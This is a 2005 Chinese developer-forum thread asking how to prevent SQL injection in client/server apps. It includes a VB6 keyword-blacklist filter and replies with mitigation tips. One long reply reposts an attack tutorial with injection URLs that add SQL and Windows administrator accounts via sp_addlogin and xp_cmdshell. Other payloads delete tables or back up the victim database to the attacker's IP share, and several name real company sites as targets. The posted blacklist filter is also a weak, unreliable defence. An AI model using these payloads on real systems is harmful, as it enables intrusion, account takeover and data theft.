[讨论]C/S系统也应该有防止SQL注入处理吗?

normandj 2005-10-31 11:39:09
我在网上发现有很多关于ASP的SQL注入的文章,我想c/s结构也相同有这样的问题吧。不知道大家是如何处理的?一般注入点有哪些?登记用户处?设置检索条件时?

  今天你用VB6写的函数,然后对可能的注入点进行过滤一下,不知道这样行了没有,新手希望得到指教。

'*************************************************************************
'**函 数 名:SQLCheck
'**输 入:strInput(String) -
'**输 出:(String) -
'**功能描述:Sql注入检查
'**全局变量:
'**调用模块:
'**作 者:**
'**日 期:2005-10-31 08:36:01
'**修 改 人:
'**日 期:
'**版 本:V1.0.81
'*************************************************************************
Public Function SQLCheck(ByVal strInput As String) As String
On Error GoTo ErrorHandler '打开错误陷阱
'------------------------------------------------
Dim strTemp As String
strTemp = strInput
'把字符串的字母全部转为小写
strInput = LCase(strInput)
'把可疑词替换*
strInput = Replace(strInput, "select", "*", 1, -1, 1)
strInput = Replace(strInput, "'", "*", 1, -1, 1)
strInput = Replace(strInput, "exec", "*", 1, -1, 1)
strInput = Replace(strInput, "object", "*", 1, -1, 1)
strInput = Replace(strInput, "select", "*", 1, -1, 1)
strInput = Replace(strInput, "join", "*", 1, -1, 1)
strInput = Replace(strInput, "union", "*", 1, -1, 1)
strInput = Replace(strInput, "where", "*", 1, -1, 1)
strInput = Replace(strInput, "insert", "*", 1, -1, 1)
strInput = Replace(strInput, "update", "*", 1, -1, 1)
strInput = Replace(strInput, "del", "*", 1, -1, 1)
strInput = Replace(strInput, "drop", "*", 1, -1, 1)
strInput = Replace(strInput, "create", "*", 1, -1, 1)
strInput = Replace(strInput, "rename", "*", 1, -1, 1)
strInput = Replace(strInput, "alter", "*", 1, -1, 1)
strInput = Replace(strInput, "revoke", "*", 1, -1, 1)
strInput = Replace(strInput, "grant", "*", 1, -1, 1)
If strInput = LCase(strTemp) Then
SQLCheck = strTemp
Else
SQLCheck = strInput
End If
'------------------------------------------------
Exit Function
'----------------
ErrorHandler:
SQLCheck = ""
End Function
...全文
332 13 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
jixiaojie 2005-11-01
  • 打赏
  • 举报
回复
学习
qhqh310 2005-11-01
  • 打赏
  • 举报
回复
我觉得可分两种情况,如果是字符型的则把输入过滤掉' 然后把输入两边加上' 最后代入SQL语句里;如果是数据型则把其转化成数值,成功则直接代入SQL语句
normandj 2005-11-01
  • 打赏
  • 举报
回复
学习中...
zouqiang122 2005-11-01
  • 打赏
  • 举报
回复
支持一下!!!
turenjie 2005-10-31
  • 打赏
  • 举报
回复
收藏学习中...
normandj 2005-10-31
  • 打赏
  • 举报
回复
大家还有些什么意见吗
normandj 2005-10-31
  • 打赏
  • 举报
回复
这个函数是随便写写,因为我还不太清楚那些比较危险。所以贴上来多听听大家的意见。
jadesun 2005-10-31
  • 打赏
  • 举报
回复
过滤得太多了,不是很人性化。如果用户正好输入该类词组,不是全变成了*号。

替换'号和;号即可
normandj 2005-10-31
  • 打赏
  • 举报
回复
过滤掉 exec 应该系统的存储过程都不能用了吧
zxbyhcsdn 2005-10-31
  • 打赏
  • 举报
回复 1
SQL数据库攻击详解
712kxl 于 2004年 11月25日 发表

对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;execsp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ... 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方
法:
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样,你在他的数据库和系统内都留下了hax管理员账号了,当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵.当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了。

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。你如天融信的主页,有新闻内容,如下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;-- 呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束,那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;-- 哈哈,我想只要表名猜对了,新闻库就被删了。

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。

但是我们不知道库名该怎么?看看db_name()函数吧。打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了。

以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧。同理这个方法可以找到对方的SQL的IP,先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示,然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP,如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了。

那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat',name='test';-- 呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露。

那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。

其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。下次我们还会谈到如何骗过IDS执行ASP+SQL入侵。

目前有些好的IDS已经开始监视xp_cmdshell这些关键字了,好吧,同志们下次见!

所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了window.location.herf=URL

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P。
zxbyhcsdn 2005-10-31
  • 打赏
  • 举报
回复 1
Sql注入攻击在CS系统中照样有这样的问题
只不过CS系统不会在Internet上,安全的风险要小的多
但是在局域网内还是一样的有这样的问题
normandj 2005-10-31
  • 打赏
  • 举报
回复
"最好是配合存储过程"
如何配合?

还有存储过程的参数,可能会被SQL注入吗?
suntt 2005-10-31
  • 打赏
  • 举报
回复
最好是配合存储过程

34,838

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server相关内容讨论专区
社区管理员
  • 基础类社区
  • 二月十六
  • 卖水果的net
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧